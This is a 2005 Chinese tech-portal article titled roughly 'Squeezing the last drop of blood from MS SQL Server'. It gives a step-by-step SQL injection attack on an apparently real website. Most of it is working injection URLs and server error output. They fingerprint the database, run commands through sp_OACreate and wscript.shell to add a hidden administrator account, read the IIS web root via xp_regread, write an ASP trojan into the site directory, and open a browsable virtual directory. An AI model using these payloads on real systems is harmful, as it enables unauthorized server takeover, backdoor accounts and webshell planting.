您的位置:软件 > 开发者网络 > 开发工具 > 开发专栏 > 数据库 > 正文
榨干MS SQL Server 最后一滴血
[文章信息]
作者:amanl
时间:2005-01-11
出处:ENET
责任编辑:方舟
[文章导读]
风云变换的网络,网络安全让人们不能不关注它。数据库,让我们不得不想起强大的ORACLE,MS SQL
advertisement
热点推荐
· 为Excel公式返回结果设置颜色
· 利用Visual C++开发ASP图像处理组件
· EJB 3.0 开发指南之定时服务
· MSN“性感鸡”预防措施及杀毒方案
· 江民MSN“性感鸡”蠕虫技术报告
[正文]
  风云变换的网络,网络安全让人们不能不关注它。数据库,让我们不得不想起强大的ORACLE,MS SQL。微软的漏洞最多,今天就用SQL INJECTION来让MS SQL为我们好好的工作。

  以下(使用一知名网站作为测试点),相信大家对SQL爆库,爆表,爆字段都已掌握,在这里就不多说这方面了。

  MS SQL内置函数介绍:

  @@VERSION 获得Windows的版本号,MS SQL的版本号,补丁。 User_name() 得到当前系统的连接用户 Db_name() 得到当前连接的数据库 HOST_NAME() 得到当前主机的名称

  这些信息有助我们对系统进行简单的了解

  好,下面我们就开始吧!

  语句:

http://www.xxx.com/list.asp?classid=1'

  返回信息:

Microsoft OLE DB Provider for SQL Server 错误 '80040e14' 字符串 ' Order By Id DESC' 之前有未闭合的引号。 /list.asp,行290

  从这里未闭合的引号(“’”),我们可以确定存在SQL INJECTION。发现在漏洞当然接着走了,利用以上介绍的函数为我们工作了:

  语句:

http://www.xxx.com/list.asp?classid=1 and 0<>(select @@version)

  返回:

Microsoft OLE DB Provider for SQL Server 错误 '80040e07' 将 nvarchar 值 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' 转换为数据类型为 int 的列时发生语法错误。 /list.asp,行290

  相关的信息出来了,MS SERVER ADVANCED SERVER 2000+SP4, SQL 2000+SP3,从MS SQL SERVER 后面的8.00.760可看出是SP3补丁。看了服务器的信息,接下应该了解数据库的权限了:

  语句:

http://www.xxx.com/list.asp?classid=1 and user_name()=’dbo’

  返回: 正常返回的信息

  确定是权限是DBO,从表面DBO权限的连接用户经常是涉及SYSADMIN服务器角色成员。说明数据库服务器角色成员组默认是在每个数据库增加一个DBO用户。

  返回原理根1=1,1=2相似..这里只是权限测试,我们也把它爆出来看看:

  语句:

http://www.xxx.com/list.asp?classid=1 and 0<>(select user_name())

  返回:

Microsoft OLE DB Provider for SQL Server 错误 '80040e07' 将 nvarchar 值 'dbo' 转换为数据类型为 int 的列时发生语法错误。 /list.asp,行290

  说明连接数据库的用户权限很高,可以确定是服务器角色组中的成员。

  语句:http://www.xxx.com/list.asp?classid=1 and 0<>(select db_name())—返回:Microsoft OLE DB Provider for SQL Server 错误 '80040e07' 将 nvarchar 值 'GameIMGSys' 转换为数据类型为 int 的列时发生语法错误。 /list.asp,行290

  这样就可以爆出当前的数据库。得到这么高权限的数据库连接成员,我们当然想直接得到WEBSHELL,或是直接拿到NT ADMIN。NT ADMIN取决于当前服务器的配置,如果配置不合理的服务器,我们要直接拿NT ADMIN,拿NT ADMIN就要用到:

  MSSQL内置存储过程:

  sp_OACreate (通过它,危害很得更大,但是需要有SYSADMINS权限才可能使用) sp_OAGetErrorInfo sp_OAGetProperty sp_OAMethod sp_OASetProperty sp_SetPropertysp_OAStop

  由于MS SQL一次可以执行多语句,使得我们有机会使用更多的语句。

  语句:

http://www.xxx.com/list.asp?classid=1; DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user cntest chinatest /add'

  正常返回。(提示:如果主机上shell存在的话那将在服务器上创建一个cntest的用户)

  创建用户了,语句后再加个net localgroup administrators cntest /add加到管理组中。 如果对方的机子开着3389端口,或IPC的话,那接下来的事,就不用我多说了。

  遇到专业型主机,只开一个80端口,那应该怎么办呢?当然,我们还是可能拿到WEBSHELL,再慢慢渗透的。

  由于权限高,我们可能先建表,写入ASP木马的数据再通过MAKEWEBTASK,得到WEBSEHLL.手工写入的程序太过于繁锁,上传WEBSHELL最大的问题还是网页目录,现在网上已经有现成的工具通过BACKUP,和MASKWEBTASK的工具得到WEBSHELL了。以下推荐,获取网页路径(通过存储过程达到对注册表的读取):

  利用内置存储过程 xp_regread(读取注册表键值,权限public):

  语句:

http://www.xxx.com/list.asp?classid=1;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\', @value_name='/', values=@test OUTPUT insert into paths(path) values(@test)

  IIS的默认路径的在注册表中HKEY_LOCAL_MACHINE\ SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\

  利用爆字段将数据库的值读出来:

  语句:

http://www.xxx.com/list.asp?classid=1 and 0<>(select top 1 paths from newtable)

  返回:

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 varchar 值 'E:\www,,201' 转换为数据类型为 int 的列时发生语法错误。

  这说明网页目录在E:\www,接下来也可以利用FSO直接写入ASP木马(提示必须拥用SYSADMIN权限才可使用FSO和FSO开入的前提下) :

  语句:

http://www.xxx.com/list.asp?class=1;
declare%20@o%20int,%20@f%20int,%20@t%20int,%20@ret%20int%20exec%20sp_oacreate%20'scripting.filesystemobject',
%20@o%20out%20exec%20sp_oamethod%20@o,%20'createtextfile',%20@f%20out,%20'e:\www\test.asp',
1%20exec%20@ret%20=%20sp_oamethod%20@f,%20'writeline',%20NULL,%20'On Error Resume Next'

  在E:\WWW下创建一个test.asp并写入On Error Resume next语句:

http://www.xxx.com/list.asp?classid=1;
declare%20@o%20int,%20@f%20int,%20@t%20int,%20@ret%20int%20exec%20sp_oacreate%20'scripting.filesystemobject',
%20@o%20out%20exec%20sp_oamethod%20@o,%20'opentextfile',
%20@f%20out,%20'e:\www\test.asp',8%20exec%20@ret%20=%20sp_oamethod%20@f,%20'writeline',%20NULL,%20'asp horse '

  在E:\WWW\test.asp增加一行记录,记录为asp horse, 整个完整木马可能这样写入。(%百分号要用%25替代写入)。如果得不到网页目录,怎么办呢?前提你要猜到网站是否使用默认WEB,或者使用域名作为WEB。

declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,’ cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认 Web 站点" -v "e","e:\"’

  在默认的WEB站点下创建一个虚拟目录E,指向E:盘下。

declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,’ cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse’

  给虚拟目录e加上浏览属性不错吧。给自己开虚拟服务。想那些网页目录路径,头都快破了。这下给自己一个天开眼了。那传WEBSHELL利用MS SQL为我们的工作告了一段落了,接下来工作应该由你来了。

发表评论推荐给朋友我想参加相关培训打印我对此感兴趣订阅电子杂志
相关内容焦点新闻
  • SQL注入天书之ASP注入漏洞全接触
  • 多条件数据库查询的优化方法
  • 一次SQL Server 2000修复实践
  • 一次SQL Server 2000 安装奇遇
  • SQL Server7移动数据的6种方法
  • 恶意输血系内企业 托普科技董事长辞任
  • 网通电盈将开宽带付费电视公司 分阶段进行
  • 信产部回应今典诉讼说 标准出台不可能太快
  • 中国版3G有望奥运前商用 4月公布核心进展
  • 国内最早的黑客组织“红客联盟”宣布解散
  • 零关税引爆数码相机降价 洋品牌争抢市场
  • 新陈代谢:老家伙们撤退与新生一代的天下
  • 同工不同酬:跨国公司经营不能承受之重
  • Advertisement

    天极无线


    奇妙科幻|美好风光|清风车影|漫画卡通|星座生肖|明星写真|动物世界
    老鼠爱大米
    挥着翅膀的女孩
    女人味
    栀子花开
    白月光
    刚刚好
    江南
    快乐崇拜
    亲爱的你怎么不在我身边
    小薇
    2002年的第一场雪
    有多少爱可以重来
    我的地盘
    七里香
    情人
     
    老鼠爱大米 老板电话
    冲动的惩罚 七里香
    我不是黄蓉 女生撒娇
    盛夏的果实 坚持到底
    孤单北半球 眉飞色舞
    挪威的森林 可爱女人
    最浪漫的事 老板电话

    CSEEK搜索